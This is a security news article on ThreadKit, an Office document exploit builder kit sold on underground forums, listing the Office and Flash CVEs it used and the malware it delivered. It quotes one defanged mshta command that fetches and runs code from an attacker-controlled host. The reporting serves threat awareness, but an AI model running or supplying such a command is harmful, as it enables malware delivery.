Sunday, May 25, 2025
HomeCVE/vulnerabilityHackers Distributing Variety of New Exploits and Malware via Microsoft Office Document...

Hackers Distributing Variety of New Exploits and Malware via Microsoft Office Document Exploit Kit

Published on

SIEM as a Service

Follow Us on Google News

Newly discovered Microsoft office document exploit kit contains a variety of recent exploits and Malware such as Lokibot, Formbook and tracking kit called such as ThreadKit targeting various organization and individuals around the world.

These Exploits kits are available in restricted underground crime forums and the cybercriminals are selling them at a different price.

They are used to spread a variety of malware payloads such as Trickbot and Chthonic, and RATs such as FormBook and Loki Bot and it also used for more sophisticated cyber attacks.

- Advertisement - Google News

Also Read: Hackers Illegally Purchasing Abused Code-signing & SSL Certificates From Underground Market

Exploit Kit Activities in June 2017

Initially, ThreadKit starts its activities around mid of 2017 with many of powerful exploits such as EXE and DOC files inside of the VBS Script.

It contains an exploited CVE-2017-0199 and download and execute the payload from its command and control server and install the embedded Smoke Loader and Trick banking malware.

Downloaded Decoy document

Exploit Kit Activities in October 2017

During October 2017, ThreadKit Started advertising in the underground forum including with another Exploit CVE 2017-8759.

Later it communicates with C2 server to execute the embedded executable and additionally it integrating the new vulnerabilities.

Also, it using various technique to avoid detection and employee the advance method to avoid detection by modifying the registry key.

The registry value “z|#” contains the path to the parent malicious document

Exploit kit Activities November 2017

Since Nov 2017 ThreadKit starts its aggressive activities and employee with brand new Microsoft Office vulnerabilities.

It Advertised the inclusion of exploits targeting CVE 2017-11882 running un the following command: “mshta.exe hxxps://seliodrones[.]info/vmware/w&\x12\x0cC”

Exploit kit Activity in February/March 2018

Very recent activities of this Exploit kit in Feb/March contains a very new serious exploit such as Adobe Flash zero-day (CVE-2018-4878) and several new Microsoft Office vulnerabilities.

According to Proofpoint,  A new forum post in February 2018 announced that exploits for the recently disclosed CVE-2018-0802, as well as a July 2017 Office vulnerability (CVE-2017-8570), had been added to ThreadKit.

Main Distributing of the large spike of email campaigns with ThreadKit generated MS Office attachments that included these exploits.

“ThreadKit is a relatively new and popular document exploit builder kit that has been used in the wild since at least June 2017, by a variety of actors carrying out both targeted and broad-based crimeware campaigns. This new document exploit builder kit makes the use of the latest Microsoft Office exploits accessible to even low-skilled malicious actors. Proofpoint said.”

Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Latest articles

Zero-Trust Policy Bypass Enables Exploitation of Vulnerabilities and Manipulation of NHI Secrets

A new project has exposed a critical attack vector that exploits protocol vulnerabilities to...

Threat Actor Sells Burger King Backup System RCE Vulnerability for $4,000

A threat actor known as #LongNight has reportedly put up for sale remote code...

Chinese Nexus Hackers Exploit Ivanti Endpoint Manager Mobile Vulnerability

Ivanti disclosed two critical vulnerabilities, identified as CVE-2025-4427 and CVE-2025-4428, affecting Ivanti Endpoint Manager...

Hackers Target macOS Users with Fake Ledger Apps to Deploy Malware

Hackers are increasingly targeting macOS users with malicious clones of Ledger Live, the popular...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

Hackers Target macOS Users with Fake Ledger Apps to Deploy Malware

Hackers are increasingly targeting macOS users with malicious clones of Ledger Live, the popular...

GenAI Assistant DIANNA Uncovers New Obfuscated Malware

Deep Instinct’s GenAI-powered assistant, DIANNA, has identified a sophisticated new malware strain dubbed BypassERWDirectSyscallShellcodeLoader. This...

New Formjacking Malware Targets E-Commerce Sites to Steal Credit Card Data

A disturbing new formjacking malware has emerged, specifically targeting WooCommerce-based e-commerce sites to steal...